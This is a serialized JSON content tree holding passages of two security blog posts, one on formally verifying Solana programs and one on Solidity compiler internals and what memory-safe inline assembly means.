3,"tag":139,"props":26697,"children":26698},{"style":982},[26699],{"type":28,"value":73},{"type":23,"tag":139,"props":26701,"children":26702},{"style":245},[26703],{"type":28,"value":26465},{"type":23,"tag":139,"props":26705,"children":26706},{"style":259},[26707],{"type":28,"value":26470},{"type":23,"tag":139,"props":26709,"children":26710},{"style":958},[26711],{"type":28,"value":26475},{"type":23,"tag":139,"props":26713,"children":26714},{"class":141,"line":205},[26715],{"type":23,"tag":139,"props":26716,"children":26717},{"style":259},[26718],{"type":28,"value":1335},{"type":23,"tag":139,"props":26720,"children":26721},{"class":141,"line":214},[26722],{"type":23,"tag":139,"props":26723,"children":26724},{"emptyLinePlaceholder":15},[26725],{"type":28,"value":184},{"type":23,"tag":139,"props":26727,"children":26728},{"class":141,"line":1320},[26729],{"type":23,"tag":139,"props":26730,"children":26731},{"style":958},[26732],{"type":28,"value":26733},"    // Enforce invariants at runtime\n",{"type":23,"tag":139,"props":26735,"children":26736},{"class":141,"line":1329},[26737,26741,26745,26749,26753,26757,26761,26765],{"type":23,"tag":139,"props":26738,"children":26739},{"style":245},[26740],{"type":28,"value":17248},{"type":23,"tag":139,"props":26742,"children":26743},{"style":259},[26744],{"type":28,"value":262},{"type":23,"tag":139,"props":26746,"children":26747},{"style":294},[26748],{"type":28,"value":18288},{"type":23,"tag":139,"props":26750,"children":26751},{"style":982},[26752],{"type":28,"value":73},{"type":23,"tag":139,"props":26754,"children":26755},{"style":259},[26756],{"type":28,"value":26456},{"type":23,"tag":139,"props":26758,"children":26759},{"style":982},[26760],{"type":28,"value":73},{"type":23,"tag":139,"props":26762,"children":26763},{"style":245},[26764],{"type":28,"value":19786},{"type":23,"tag":139,"props":26766,"children":26767},{"style":259},[26768],{"type":28,"value":13437},{"type":23,"tag":139,"props":26770,"children":26771},{"class":141,"line":1580},[26772],{"type":23,"tag":139,"props":26773,"children":26774},{"emptyLinePlaceholder":15},[26775],{"type":28,"value":184},{"type":23,"tag":139,"props":26777,"children":26778},{"class":141,"line":1597},[26779,26783],{"type":23,"tag":139,"props":26780,"children":26781},{"style":305},[26782],{"type":28,"value":12344},{"type":23,"tag":139,"props":26784,"children":26785},{"style":259},[26786],{"type":28,"value":12349},{"type":23,"tag":139,"props":26788,"children":26789},{"class":141,"line":1614},[26790],{"type":23,"tag":139,"props":26791,"children":26792},{"style":259},[26793],{"type":28,"value":1897},{"type":23,"tag":24,"props":26795,"children":26796},{},[26797,26799,26804,26806,26811,26813,26818],{"type":28,"value":26798},"Here, we explicitly ",{"type":23,"tag":135,"props":26800,"children":26802},{"className":26801},[],[26803],{"type":28,"value":17991},{"type":28,"value":26805}," that our invariants hold at ",{"type":23,"tag":659,"props":26807,"children":26808},{},[26809],{"type":28,"value":26810},"runtime",{"type":28,"value":26812}," which allows us to be assured that ",{"type":23,"tag":135,"props":26814,"children":26816},{"className":26815},[],[26817],{"type":28,"value":26456},{"type":28,"value":26819}," will not enter a bad state as a result of some unverifiable behavior.",{"type":23,"tag":24,"props":26821,"children":26822},{},[26823],{"type":28,"value":26824},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":23,"tag":41,"props":26826,"children":26828},{"id":26827},"challenges-of-formal-verification-on-solana",[26829],{"type":28,"value":26830},"Challenges of formal verification on Solana",{"type":23,"tag":666,"props":26832,"children":26834},{"id":26833},"expensive-computation",[26835],{"type":28,"value":26836},"Expensive computation",{"type":23,"tag":24,"props":26838,"children":26839},{},[26840,26842,26847],{"type":28,"value":26841},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":23,"tag":659,"props":26843,"children":26844},{},[26845],{"type":28,"value":26846},"path explosion",{"type":28,"value":26848},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":23,"tag":24,"props":26850,"children":26851},{},[26852,26854,26859],{"type":28,"value":26853},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":23,"tag":659,"props":26855,"children":26856},{},[26857],{"type":28,"value":26858},"formal verification friendly",{"type":28,"value":26860},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":23,"tag":24,"props":26862,"children":26863},{},[26864,26866,26871,26873,26878],{"type":28,"value":26865},"For example, when verifying things like the uniqueness of a ",{"type":23,"tag":135,"props":26867,"children":26869},{"className":26868},[],[26870],{"type":28,"value":19406},{"type":28,"value":26872}," in a ",{"type":23,"tag":135,"props":26874,"children":26876},{"className":26875},[],[26877],{"type":28,"value":15223},{"type":28,"value":26879},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":23,"tag":24,"props":26881,"children":26882},{},[26883,26885,26890,26892,26897,26899,26904,26906,26911,26913,26918,26920,26925],{"type":28,"value":26884},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":23,"tag":135,"props":26886,"children":26888},{"className":26887},[],[26889],{"type":28,"value":15223},{"type":28,"value":26891}," or a 32-byte ",{"type":23,"tag":135,"props":26893,"children":26895},{"className":26894},[],[26896],{"type":28,"value":19406},{"type":28,"value":26898},". Instead, our tool can substitute in ",{"type":23,"tag":659,"props":26900,"children":26901},{},[26902],{"type":28,"value":26903},"cheaper",{"type":28,"value":26905}," types and functions, such as a 4-byte ",{"type":23,"tag":135,"props":26907,"children":26909},{"className":26908},[],[26910],{"type":28,"value":19406},{"type":28,"value":26912}," struct and a fixed-size, array-backed ",{"type":23,"tag":135,"props":26914,"children":26916},{"className":26915},[],[26917],{"type":28,"value":15223},{"type":28,"value":26919}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":23,"tag":659,"props":26921,"children":26922},{},[26923],{"type":28,"value":26924},"much",{"type":28,"value":26926}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":23,"tag":24,"props":26928,"children":26929},{},[26930],{"type":28,"value":26931},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":23,"tag":666,"props":26933,"children":26935},{"id":26934},"runtime-environment",[26936],{"type":28,"value":26937},"Runtime Environment",{"type":23,"tag":24,"props":26939,"children":26940},{},[26941],{"type":28,"value":26942},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":23,"tag":24,"props":26944,"children":26945},{},[26946],{"type":28,"value":26947},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":23,"tag":24,"props":26949,"children":26950},{},[26951],{"type":28,"value":26952},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":23,"tag":41,"props":26954,"children":26956},{"id":26955},"conclusion",[26957],{"type":28,"value":16955},{"type":23,"tag":24,"props":26959,"children":26960},{},[26961],{"type":28,"value":26962},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":23,"tag":24,"props":26964,"children":26965},{},[26966],{"type":28,"value":26967},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":23,"tag":16800,"props":26969,"children":26970},{},[],{"type":23,"tag":24,"props":26972,"children":26973},{},[26974],{"type":23,"tag":659,"props":26975,"children":26976},{},[26977,26979,26984,26985,26989],{"type":28,"value":26978},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":23,"tag":64,"props":26980,"children":26982},{"href":16883,"rel":26981},[68],[26983],{"type":28,"value":16887},{"type":28,"value":16889},{"type":23,"tag":64,"props":26986,"children":26987},{"href":16892},[26988],{"type":28,"value":16895},{"type":28,"value":73},{"type":23,"tag":817,"props":26991,"children":26992},{},[26993],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":26995},[26996,27002,27006,27011,27017,27021],{"id":16958,"depth":151,"text":16961,"children":26997},[26998,26999,27000,27001],{"id":16964,"depth":160,"text":16967},{"id":17032,"depth":160,"text":17035},{"id":17911,"depth":160,"text":17914},{"id":17951,"depth":160,"text":17954},{"id":18004,"depth":151,"text":27003,"children":27004},"Specification: How can we describe what we want our program to do?",[27005],{"id":18118,"depth":160,"text":18121},{"id":19478,"depth":151,"text":19481,"children":27007},[27008,27009,27010],{"id":20155,"depth":160,"text":20158},{"id":20440,"depth":160,"text":20443},{"id":20584,"depth":160,"text":20587},{"id":20725,"depth":151,"text":20728,"children":27012},[27013,27014,27015,27016],{"id":20796,"depth":160,"text":20799},{"id":22659,"depth":160,"text":22662},{"id":23461,"depth":160,"text":20788},{"id":25987,"depth":160,"text":20793},{"id":26827,"depth":151,"text":26830,"children":27018},[27019,27020],{"id":26833,"depth":160,"text":26836},{"id":26934,"depth":160,"text":26937},{"id":26955,"depth":151,"text":16955},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":27026,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":27027,"description":27028,"author":10,"image":27029,"date":27031,"isFeatured":15,"onBlogPage":15,"tags":27032,"body":27033,"_type":831,"_id":28448,"_source":833,"_file":28449,"_stem":28450,"_extension":836},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":27030,"height":13,"width":13},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[2475,18],{"type":20,"children":27034,"toc":28439},[27035,27041,27077,27089,27095,27117,27130,27278,27299,27304,27325,27330,27338,27343,27348,27353,27359,27378,27383,27404,27467,27480,27510,27530,27557,27562,27575,27580,27585,27598,27629,27650,27803,27821,27872,27891,27916,27921,27927,27954,27974,28002,28007,28029,28048,28056,28067,28072,28088,28345,28353,28358,28362,28367,28372,28435],{"type":23,"tag":41,"props":27036,"children":27038},{"id":27037},"introduction",[27039],{"type":28,"value":27040},"Introduction",{"type":23,"tag":24,"props":27042,"children":27043},{},[27044,27046,27052,27053,27057,27059,27066,27068,27075],{"type":28,"value":27045},"What does ",{"type":23,"tag":135,"props":27047,"children":27049},{"className":27048},[],[27050],{"type":28,"value":27051},"memory-safe",{"type":28,"value":471},{"type":23,"tag":659,"props":27054,"children":27055},{},[27056],{"type":28,"value":7296},{"type":28,"value":27058}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":23,"tag":64,"props":27060,"children":27063},{"href":27061,"rel":27062},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[68],[27064],{"type":28,"value":27065},"presents some requirements",{"type":28,"value":27067},", but is production code that ",{"type":23,"tag":64,"props":27069,"children":27072},{"href":27070,"rel":27071},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[68],[27073],{"type":28,"value":27074},"violates these requirements",{"type":28,"value":27076}," necessarily unsafe?",{"type":23,"tag":24,"props":27078,"children":27079},{},[27080,27082,27087],{"type":28,"value":27081},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":23,"tag":659,"props":27083,"children":27084},{},[27085],{"type":28,"value":27086},"memory-safety",{"type":28,"value":27088}," actually means.",{"type":23,"tag":41,"props":27090,"children":27092},{"id":27091},"compiler-pipeline",[27093],{"type":28,"value":27094},"Compiler Pipeline",{"type":23,"tag":24,"props":27096,"children":27097},{},[27098,27100,27107,27109,27116],{"type":28,"value":27099},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":23,"tag":64,"props":27101,"children":27104},{"href":27102,"rel":27103},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[68],[27105],{"type":28,"value":27106},"released in v0.8.13",{"type":28,"value":27108},". Compilation happens ",{"type":23,"tag":64,"props":27110,"children":27113},{"href":27111,"rel":27112},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[68],[27114],{"type":28,"value":27115},"in two main steps",{"type":28,"value":2493},{"type":23,"tag":797,"props":27118,"children":27119},{},[27120,27125],{"type":23,"tag":801,"props":27121,"children":27122},{},[27123],{"type":28,"value":27124},"Solidity to YUL IR",{"type":23,"tag":801,"props":27126,"children":27127},{},[27128],{"type":28,"value":27129},"YUL IR to EVM opcodes",{"type":23,"tag":128,"props":27131,"children":27135},{"className":27132,"code":27133,"language":27134,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[27136],{"type":23,"tag":135,"props":27137,"children":27138},{"__ignoreMap":7},[27139,27169,27190,27202,27210,27222,27242,27250,27271],{"type":23,"tag":139,"props":27140,"children":27141},{"class":141,"line":142},[27142,27146,27151,27155,27160,27164],{"type":23,"tag":139,"props":27143,"children":27144},{"style":319},[27145],{"type":28,"value":10290},{"type":23,"tag":139,"props":27147,"children":27148},{"style":259},[27149],{"type":28,"value":27150}," (m_viaIR ",{"type":23,"tag":139,"props":27152,"children":27153},{"style":982},[27154],{"type":28,"value":20427},{"type":23,"tag":139,"props":27156,"children":27157},{"style":259},[27158],{"type":28,"value":27159}," m_generateIR ",{"type":23,"tag":139,"props":27161,"children":27162},{"style":982},[27163],{"type":28,"value":20427},{"type":23,"tag":139,"props":27165,"children":27166},{"style":259},[27167],{"type":28,"value":27168}," m_generateEwasm)\n",{"type":23,"tag":139,"props":27170,"children":27171},{"class":141,"line":151},[27172,27177,27181,27185],{"type":23,"tag":139,"props":27173,"children":27174},{"style":245},[27175],{"type":28,"value":27176},"        generateIR",{"type":23,"tag":139,"props":27178,"children":27179},{"style":259},[27180],{"type":28,"value":262},{"type":23,"tag":139,"props":27182,"children":27183},{"style":982},[27184],{"type":28,"value":2573},{"type":23,"tag":139,"props":27186,"children":27187},{"style":259},[27188],{"type":28,"value":27189},"contract);\n",{"type":23,"tag":139,"props":27191,"children":27192},{"class":141,"line":160},[27193,27197],{"type":23,"tag":139,"props":27194,"children":27195},{"style":319},[27196],{"type":28,"value":10290},{"type":23,"tag":139,"props":27198,"children":27199},{"style":259},[27200],{"type":28,"value":27201}," (m_generateEvmBytecode)\n",{"type":23,"tag":139,"props":27203,"children":27204},{"class":141,"line":169},[27205],{"type":23,"tag":139,"props":27206,"children":27207},{"style":259},[27208],{"type":28,"value":27209},"    {\n",{"type":23,"tag":139,"props":27211,"children":27212},{"class":141,"line":178},[27213,27217],{"type":23,"tag":139,"props":27214,"children":27215},{"style":319},[27216],{"type":28,"value":1249},{"type":23,"tag":139,"props":27218,"children":27219},{"style":259},[27220],{"type":28,"value":27221}," (m_viaIR)\n",{"type":23,"tag":139,"props":27223,"children":27224},{"class":141,"line":187},[27225,27230,27234,27238],{"type":23,"tag":139,"props":27226,"children":27227},{"style":245},[27228],{"type":28,"value":27229},"            generateEVMFromIR",{"type":23,"tag":139,"props":27231,"children":27232},{"style":259},[27233],{"type":28,"value":262},{"type":23,"tag":139,"props":27235,"children":27236},{"style":982},[27237],{"type":28,"value":2573},{"type":23,"tag":139,"props":27239,"children":27240},{"style":259},[27241],{"type":28,"value":27189},{"type":23,"tag":139,"props":27243,"children":27244},{"class":141,"line":196},[27245],{"type":23,"tag":139,"props":27246,"children":27247},{"style":319},[27248],{"type":28,"value":27249},"        else\n",{"type":23,"tag":139,"props":27251,"children":27252},{"class":141,"line":205},[27253,27258,27262,27266],{"type":23,"tag":139,"props":27254,"children":27255},{"style":245},[27256],{"type":28,"value":27257},"            compileContract",{"type":23,"tag":139,"props":27259,"children":27260},{"style":259},[27261],{"type":28,"value":262},{"type":23,"tag":139,"props":27263,"children":27264},{"style":982},[27265],{"type":28,"value":2573},{"type":23,"tag":139,"props":27267,"children":27268},{"style":259},[27269],{"type":28,"value":27270},"contract, otherCompilers);\n",{"type":23,"tag":139,"props":27272,"children":27273},{"class":141,"line":214},[27274],{"type":23,"tag":139,"props":27275,"children":27276},{"style":259},[27277],{"type":28,"value":1335},{"type":23,"tag":24,"props":27279,"children":27280},{},[27281,27283,27290,27291,27298],{"type":28,"value":27282},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":23,"tag":64,"props":27284,"children":27287},{"href":27285,"rel":27286},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[68],[27288],{"type":28,"value":27289},"YulStack::optimize",{"type":28,"value":9002},{"type":23,"tag":64,"props":27292,"children":27295},{"href":27293,"rel":27294},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[68],[27296],{"type":28,"value":27297},"Assembly::optimize",{"type":28,"value":73},{"type":23,"tag":24,"props":27300,"children":27301},{},[27302],{"type":28,"value":27303},"In total, there are four steps.",{"type":23,"tag":797,"props":27305,"children":27306},{},[27307,27311,27316,27320],{"type":23,"tag":801,"props":27308,"children":27309},{},[27310],{"type":28,"value":27124},{"type":23,"tag":801,"props":27312,"children":27313},{},[27314],{"type":28,"value":27315},"Optimization of YUL IR",{"type":23,"tag":801,"props":27317,"children":27318},{},[27319],{"type":28,"value":27129},{"type":23,"tag":801,"props":27321,"children":27322},{},[27323],{"type":28,"value":27324},"Optimization of EVM opcodes",{"type":23,"tag":24,"props":27326,"children":27327},{},[27328],{"type":28,"value":27329},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":23,"tag":90,"props":27331,"children":27332},{},[27333],{"type":23,"tag":24,"props":27334,"children":27335},{},[27336],{"type":28,"value":27337},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":23,"tag":24,"props":27339,"children":27340},{},[27341],{"type":28,"value":27342},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":23,"tag":24,"props":27344,"children":27345},{},[27346],{"type":28,"value":27347},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":23,"tag":24,"props":27349,"children":27350},{},[27351],{"type":28,"value":27352},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":23,"tag":41,"props":27354,"children":27356},{"id":27355},"guarantees",[27357],{"type":28,"value":27358},"Guarantees",{"type":23,"tag":24,"props":27360,"children":27361},{},[27362,27363,27370,27372,27377],{"type":28,"value":14625},{"type":23,"tag":64,"props":27364,"children":27367},{"href":27365,"rel":27366},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[68],[27368],{"type":28,"value":27369},"Solidity memory layout",{"type":28,"value":27371}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":23,"tag":659,"props":27373,"children":27374},{},[27375],{"type":28,"value":27376},"no information about this layout",{"type":28,"value":73},{"type":23,"tag":24,"props":27379,"children":27380},{},[27381],{"type":28,"value":27382},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":23,"tag":24,"props":27384,"children":27385},{},[27386,27388,27394,27396,27402],{"type":28,"value":27387},"Introducing ",{"type":23,"tag":135,"props":27389,"children":27391},{"className":27390},[],[27392],{"type":28,"value":27393},"memoryguard",{"type":28,"value":27395},". If you've ever looked at the output of ",{"type":23,"tag":135,"props":27397,"children":27399},{"className":27398},[],[27400],{"type":28,"value":27401},"solc --ir",{"type":28,"value":27403},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":23,"tag":128,"props":27405,"children":27407},{"className":2476,"code":27406,"language":2475,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[27408],{"type":23,"tag":135,"props":27409,"children":27410},{"__ignoreMap":7},[27411,27429],{"type":23,"tag":139,"props":27412,"children":27413},{"class":141,"line":142},[27414,27419,27424],{"type":23,"tag":139,"props":27415,"children":27416},{"style":958},[27417],{"type":28,"value":27418},"    /// @src 0:26:371  \"contract ",{"type":23,"tag":139,"props":27420,"children":27421},{"style":279},[27422],{"type":28,"value":27423},"XXX",{"type":23,"tag":139,"props":27425,"children":27426},{"style":958},[27427],{"type":28,"value":27428}," {...\"\n",{"type":23,"tag":139,"props":27430,"children":27431},{"class":141,"line":151},[27432,27437,27441,27446,27450,27454,27458,27463],{"type":23,"tag":139,"props":27433,"children":27434},{"style":245},[27435],{"type":28,"value":27436},"    store",{"type":23,"tag":139,"props":27438,"children":27439},{"style":259},[27440],{"type":28,"value":262},{"type":23,"tag":139,"props":27442,"children":27443},{"style":1016},[27444],{"type":28,"value":27445},"64",{"type":23,"tag":139,"props":27447,"children":27448},{"style":259},[27449],{"type":28,"value":1052},{"type":23,"tag":139,"props":27451,"children":27452},{"style":245},[27453],{"type":28,"value":27393},{"type":23,"tag":139,"props":27455,"children":27456},{"style":259},[27457],{"type":28,"value":262},{"type":23,"tag":139,"props":27459,"children":27460},{"style":1016},[27461],{"type":28,"value":27462},"0x80",{"type":23,"tag":139,"props":27464,"children":27465},{"style":259},[27466],{"type":28,"value":17719},{"type":23,"tag":24,"props":27468,"children":27469},{},[27470,27472,27479],{"type":28,"value":27471},"From ",{"type":23,"tag":64,"props":27473,"children":27476},{"href":27474,"rel":27475},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[68],[27477],{"type":28,"value":27478},"the documentation",{"type":28,"value":2124},{"type":23,"tag":90,"props":27481,"children":27482},{},[27483],{"type":23,"tag":24,"props":27484,"children":27485},{},[27486,27488,27494,27496,27502,27504,27509],{"type":28,"value":27487},"The caller of ",{"type":23,"tag":135,"props":27489,"children":27491},{"className":27490},[],[27492],{"type":28,"value":27493},"let ptr := memoryguard(size)",{"type":28,"value":27495}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":23,"tag":135,"props":27497,"children":27499},{"className":27498},[],[27500],{"type":28,"value":27501},"[0, size)",{"type":28,"value":27503}," or the unbounded range starting at ",{"type":23,"tag":135,"props":27505,"children":27507},{"className":27506},[],[27508],{"type":28,"value":11960},{"type":28,"value":73},{"type":23,"tag":24,"props":27511,"children":27512},{},[27513,27515,27520,27522,27528],{"type":28,"value":27514},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":23,"tag":135,"props":27516,"children":27518},{"className":27517},[],[27519],{"type":28,"value":27393},{"type":28,"value":27521}," return ",{"type":23,"tag":135,"props":27523,"children":27525},{"className":27524},[],[27526],{"type":28,"value":27527},"size + 32",{"type":28,"value":27529},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":23,"tag":24,"props":27531,"children":27532},{},[27533,27535,27542,27544,27549,27551,27556],{"type":28,"value":27534},"An example of this optimization in practice ",{"type":23,"tag":64,"props":27536,"children":27539},{"href":27537,"rel":27538},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[68],[27540],{"type":28,"value":27541},"is the StackLimitEvader",{"type":28,"value":27543},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":23,"tag":659,"props":27545,"children":27546},{},[27547],{"type":28,"value":27548},"only",{"type":28,"value":27550}," optimization pass that relies on the semantic information communicated by ",{"type":23,"tag":135,"props":27552,"children":27554},{"className":27553},[],[27555],{"type":28,"value":27393},{"type":28,"value":73},{"type":23,"tag":24,"props":27558,"children":27559},{},[27560],{"type":28,"value":27561},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":23,"tag":24,"props":27563,"children":27564},{},[27565,27567,27573],{"type":28,"value":27566},"Fear not, for we can remove this pointer entirely and call ",{"type":23,"tag":135,"props":27568,"children":27570},{"className":27569},[],[27571],{"type":28,"value":27572},"memoryguard(0x60)",{"type":28,"value":27574}," instead. The rest of the pipeline will still work.",{"type":23,"tag":41,"props":27576,"children":27577},{"id":27086},[27578],{"type":28,"value":27579},"Memory Safety",{"type":23,"tag":24,"props":27581,"children":27582},{},[27583],{"type":28,"value":27584},"So what does memory safety mean?",{"type":23,"tag":24,"props":27586,"children":27587},{},[27588,27590,27596],{"type":28,"value":27589},"The Solidity documentation provides ",{"type":23,"tag":64,"props":27591,"children":27593},{"href":27061,"rel":27592},[68],[27594],{"type":28,"value":27595},"a set of constraints",{"type":28,"value":27597},", not a definition.",{"type":23,"tag":90,"props":27599,"children":27600},{},[27601,27606],{"type":23,"tag":24,"props":27602,"children":27603},{},[27604],{"type":28,"value":27605},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":23,"tag":797,"props":27607,"children":27608},{},[27609,27614,27619,27624],{"type":23,"tag":801,"props":27610,"children":27611},{},[27612],{"type":28,"value":27613},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":23,"tag":801,"props":27615,"children":27616},{},[27617],{"type":28,"value":27618},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":23,"tag":801,"props":27620,"children":27621},{},[27622],{"type":28,"value":27623},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":23,"tag":801,"props":27625,"children":27626},{},[27627],{"type":28,"value":27628},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":23,"tag":24,"props":27630,"children":27631},{},[27632,27634,27641,27649],{"type":28,"value":27633},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":23,"tag":64,"props":27635,"children":27638},{"href":27636,"rel":27637},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[68],[27639],{"type":28,"value":27640},"removes the memory guard",{"type":23,"tag":636,"props":27642,"children":27643},{},[27644],{"type":23,"tag":64,"props":27645,"children":27647},{"href":641,"ariaDescribedBy":27646,"dataFootnoteRef":7,"id":644},[643],[27648],{"type":28,"value":647},{"type":28,"value":73},{"type":23,"tag":128,"props":27651,"children":27653},{"className":27132,"code":27652,"language":27134,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[27654],{"type":23,"tag":135,"props":27655,"children":27656},{"__ignoreMap":7},[27657,27665,27673,27680,27715,27722,27730,27738,27746,27754,27762,27775,27788,27796],{"type":23,"tag":139,"props":27658,"children":27659},{"class":141,"line":142},[27660],{"type":23,"tag":139,"props":27661,"children":27662},{"style":958},[27663],{"type":28,"value":27664},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":23,"tag":139,"props":27666,"children":27667},{"class":141,"line":151},[27668],{"type":23,"tag":139,"props":27669,"children":27670},{"style":958},[27671],{"type":28,"value":27672},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":23,"tag":139,"props":27674,"children":27675},{"class":141,"line":160},[27676],{"type":23,"tag":139,"props":27677,"children":27678},{"emptyLinePlaceholder":15},[27679],{"type":28,"value":184},{"type":23,"tag":139,"props":27681,"children":27682},{"class":141,"line":169},[27683,27688,27693,27698,27702,27706,27711],{"type":23,"tag":139,"props":27684,"children":27685},{"style":305},[27686],{"type":28,"value":27687},"string",{"type":23,"tag":139,"props":27689,"children":27690},{"style":259},[27691],{"type":28,"value":27692}," IRGenerator::",{"type":23,"tag":139,"props":27694,"children":27695},{"style":245},[27696],{"type":28,"value":27697},"memoryInit",{"type":23,"tag":139,"props":27699,"children":27700},{"style":259},[27701],{"type":28,"value":262},{"type":23,"tag":139,"props":27703,"children":27704},{"style":279},[27705],{"type":28,"value":308},{"type":23,"tag":139,"props":27707,"children":27708},{"style":294},[27709],{"type":28,"value":27710}," _useMemoryGuard",{"type":23,"tag":139,"props":27712,"children":27713},{"style":259},[27714],{"type":28,"value":273},{"type":23,"tag":139,"props":27716,"children":27717},{"class":141,"line":178},[27718],{"type":23,"tag":139,"props":27719,"children":27720},{"style":259},[27721],{"type":28,"value":8890},{"type":23,"tag":139,"props":27723,"children":27724},{"class":141,"line":187},[27725],{"type":23,"tag":139,"props":27726,"children":27727},{"style":958},[27728],{"type":28,"value":27729}," // This function should be called at the beginning of the EVM call frame\n",{"type":23,"tag":139,"props":27731,"children":27732},{"class":141,"line":196},[27733],{"type":23,"tag":139,"props":27734,"children":27735},{"style":958},[27736],{"type":28,"value":27737}," // and thus can assume all memory to be 